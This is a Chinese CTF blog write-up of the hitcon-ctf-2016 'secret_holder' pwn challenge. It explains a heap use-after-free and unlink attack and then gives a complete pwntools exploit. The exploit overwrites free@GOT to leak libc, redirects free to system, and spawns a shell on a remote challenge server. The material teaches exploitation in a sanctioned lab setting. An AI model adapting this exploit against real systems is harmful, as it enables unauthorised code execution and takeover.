[XCTF-pwn] 35_hitcon-ctf-2016_secret_holder

原创

石氏是时试 于 2022-03-10 20:15:00 发布 60 收藏
分类专栏： CTF pwn 文章标签： pwn

区块会因为top_chunk不够大在新地址新建，释放后收回，这时建小块在旧地址释放，再建巨块时会在旧地址扩充。

程序未开pie，free时只清标记，但free时不检查标记，可以UAF。

思路：

1. 建巨块释放建小块释放再建巨块（在旧堆块，与小块同一块）
2. 由于未删指针，此时小块巨块指针相同，释放小块实然上是释放大块，大块标记保留。
3. 建小块和大块，通过巨块指针修改小块和大块头unlink
4. 控制指针区后随便搞。

完整exp：

```
from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
else:
    p = remote('111.200.241.244', 53348)
    libc_elf = ELF('./libc6_2.19-0ubuntu6.15_amd64.so')


elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

def add(idx, msg):
    p.sendlineafter(b"3. Renew secret\n", b'1')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
    p.sendafter(b"Tell me your secret: ", msg)

def free(idx):
    p.sendlineafter(b"3. Renew secret\n", b'2')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b"3. Renew secret\n", b'3')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
    p.sendafter(b"Tell me your secret: ", msg)

add(3, b'A')
free(3)
add(1, b'A')
free(1)
#0x0000000000953000 0x0000000000974000 0x0000000000000000 rw- [heap]
add(3, b'A')
#0x0000000000953000 0x00000000009d5000 0x0000000000000000 rw- [heap]
free(1)

#unlink
add(1, b'A')
add(2, b'A')
ptr_addr = 0x6020b0
edit(3, flat(0,0x21, ptr_addr-0x18, ptr_addr-0x10, 0x20, 0xfb0))
free(2)

edit(1, flat(b'/bin/sh\x00',elf.got['free'],elf.got['puts'], ptr_addr-0x18)+ p32(1)*2)  #2->got.free 3->got
edit(2, flat(elf.plt['puts']))
free(3)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

edit(2, flat(libc_elf.sym['system']))
free(1)
p.interactive()
```